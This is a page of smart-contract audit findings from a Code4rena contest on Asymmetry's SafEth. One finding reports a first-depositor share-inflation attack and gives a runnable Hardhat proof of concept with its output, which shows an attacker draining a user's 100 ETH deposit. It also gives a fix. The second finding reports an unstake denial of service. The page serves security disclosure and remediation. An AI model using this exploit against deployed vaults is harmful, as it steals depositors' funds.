Asymmetry contest - AkshaySrivastav's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L68-L99

Vulnerability details

Impact

The SafEth contract is susceptible to balance inflation attack due to which the attacker can steal the deposited ETH of the initial depositors.

The stake function looks like this:

function stake() external payable {
    // ...
    uint256 underlyingValue = 0;

    // Getting underlying value in terms of ETH for each derivative
    for (uint i = 0; i < derivativeCount; i++)
        underlyingValue +=
            (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                derivatives[i].balance()) /
            10 ** 18;

    uint256 totalSupply = totalSupply();
    uint256 preDepositPrice; // Price of safETH in regards to ETH
    if (totalSupply == 0)
        preDepositPrice = 10 ** 18; // initializes with a price of 1
    else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

    uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system
    for (uint i = 0; i < derivativeCount; i++) {
        uint256 weight = weights[i];
        IDerivative derivative = derivatives[i];
        if (weight == 0) continue;
        uint256 ethAmount = (msg.value * weight) / totalWeight;

        // This is slightly less than ethAmount because slippage
        uint256 depositAmount = derivative.deposit{value: ethAmount}();
        uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
            depositAmount
        ) * depositAmount) / 10 ** 18;
        totalStakeValueEth += derivativeReceivedEthValue;
    }
    // mintAmount represents a percentage of the total assets in the system
    uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
    _mint(msg.sender, mintAmount);
    // ...
}

According to this implementation the formula to calculate mintAmount is:

mintAmount = totalStakeValueEth * totalSupply / underlyingValue

And underlyingValue is the sum of underlying value of each derivative calculated as:

underlyingValue = SUM(ethPerDerivative * balance), for each derivative.

As Solidity only deals with integers and the mintAmount is dependent upon ERC20 token balance of the derivative contract, the arithmetic statements can be tricked to forcefully round down a user's mintAmount to 0 and capture their deposited ETH.

The attacker can create the attack setup as soon as the SafEth contract gets deployed or simply wait and frontrun the stake txn of initial depositors.

The attack is easier to perform (high likelyhood) and causes direct loss of user's funds (high impact). It should be noted that this attack can be performed repeatedly to steal funds of all depositors who try to deposit into the SafEth contract.

Proof of Concept

This test case was added to SafEth-Integration.test.ts and was ran using yarn test.

  it.only("Balance Inflation Attack", async function () {
    const wstEthWhale = '0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d';
    const WSTETH_ADRESS = "0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0";
    const WstEthToken = await ethers.getContractAt("IERC20", WSTETH_ADRESS);
    const [,,,, user, attacker] = await ethers.getSigners();

    // setup to get some WstEth from whale
    await attacker.sendTransaction({to: wstEthWhale, value: ethers.utils.parseUnits('10', 18)});
    await hre.network.provider.request({method: "hardhat_impersonateAccount", params: [wstEthWhale]});
    const whale = await ethers.getSigner(wstEthWhale)
    await WstEthToken.connect(whale).transfer(attacker.address, ethers.utils.parseUnits('100', 18));

    // contract deployment
    const safEthFactory = await ethers.getContractFactory("SafEth");
    const strategy = (await upgrades.deployProxy(safEthFactory, ["Asymmetry Finance ETH", "safETH"])) as SafEth;
    await strategy.deployed();
    const derivativeFactory = await ethers.getContractFactory("WstEth");
    const derivative = await upgrades.deployProxy(derivativeFactory, [strategy.address]);
    await derivative.deployed();
    await strategy.addDerivative(derivative.address, "1000000000000000000");

    console.log('\nCurrent Block:', await ethers.provider.getBlockNumber());
    console.log(`
      Before Attack
      Attacker's ETH bal:     ${ethers.utils.formatEther(await ethers.provider.getBalance(attacker.address))}
      Attacker's WstETH bal:  ${ethers.utils.formatEther(await WstEthToken.balanceOf(attacker.address))}
      User's ETH bal:         ${ethers.utils.formatEther(await ethers.provider.getBalance(user.address))}
    `);

    // attacker stakes minimum stake amount
    await strategy.connect(attacker).stake({value: ethers.utils.parseUnits('0.5', 18)});
    expect(await strategy.balanceOf(attacker.address)).to.be.eq(await strategy.totalSupply());

    // attacker makes the totalsupply = 1
    await strategy.connect(attacker).unstake((await strategy.totalSupply()).sub(1));
    expect(await strategy.totalSupply()).to.be.eq(1);
    
    // the txn to capture a user's funds
    await WstEthToken.connect(attacker).transfer(derivative.address, ethers.utils.parseUnits('100', 18));
    
    // the user tries to stake but receives 0 SafEth tokens
    await strategy.connect(user).stake({value: ethers.utils.parseUnits('100', 18)});
    expect(await strategy.balanceOf(user.address)).to.be.eq(0);
    expect(await strategy.totalSupply()).to.be.eq(1);

    // the attacker collects the user's ETH and his own initial investment 
    await strategy.connect(attacker).unstake(1);
    
    console.log(`
      After Attack
      Attacker's ETH bal:     ${ethers.utils.formatEther(await ethers.provider.getBalance(attacker.address))}
      Attacker's WstETH bal:  ${ethers.utils.formatEther(await WstEthToken.balanceOf(attacker.address))}
      User's ETH bal:         ${ethers.utils.formatEther(await ethers.provider.getBalance(user.address))}
    `);
  })

Output:

    Current Block: 16871874

        Before Attack
        Attacker's ETH bal:     9989.999553851915457
        Attacker's WstETH bal:  100.0
        User's ETH bal:         10000.0
        
        After Attack
        Attacker's ETH bal:     10201.273265117380038839
        Attacker's WstETH bal:  0.0
        User's ETH bal:         9899.998838999725517315

Attacker's profit is 100 ETH (the entire deposit amount of first depositor).

Tools Used

Hardhat

Recommended Mitigation Steps

Consider forcefully burning a small amount of SafEth tokens permanently on the initial deposit in stake function.

    /// THE FIX
    if (totalSupply == 0) {
        _mint(address(1), 10000);
        mintAmount -= 10000;
    }

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L118

Vulnerability details

Impact

The SafEth.unstake function and IDerivative.withdraw function intends to withdraw the staked ETH from external protocols.

SafEth.sol

function unstake(uint256 _safEthAmount) external {
    // ...

    for (uint256 i = 0; i < derivativeCount; i++) {
        // withdraw a percentage of each asset based on the amount of safETH
        uint256 derivativeAmount = (derivatives[i].balance() *
            _safEthAmount) / safEthTotalSupply;
        if (derivativeAmount == 0) continue; // if derivative empty ignore
        derivatives[i].withdraw(derivativeAmount);
    }
    // ...
}

It can be seen that if any of the IDerivative.withdraw call reverts the entire SafEth.unstake call will be reverted. The reason for IDerivative.withdraw to get reverted can be any of these:

• External protocol becoming insolvent (eg, due to monetory hack).
• External protocol facing technical bugs, like incompatible code upgrades (external staking protocol have upgradable smart contracts).

The current implementation of SafEth contract seems overoptimistic to assume that not even one of the multiple IDerivative.withdraw call will ever revert. In case this happens the SafEth token holders won't be able to pull ETH liquidity from external protocols which are working completely fine and are solvent. So the users will need to wait for the external protocols to fix the issues or the SafEth protocol owners to upgrade the SafEth contract.

Proof of Concept

Consider this scenario:

1. Any one of the multiple external ETH staking protocols attached to SafEth starts reverting the withdraw function call.
2. The holders of SafEth token try to unstake but their txns get reverted even though some of the external staking protocols are working fine.

Tools Used

Manual review

Recommended Mitigation Steps

Consider re-evaluating the unstake flow design to account for scenarios where one of the external ETH staking protocols starts reverting the withdraw calls. In those cases the users should be able to redeem their SafEth tokens for ETH from the remaining solvent protocols.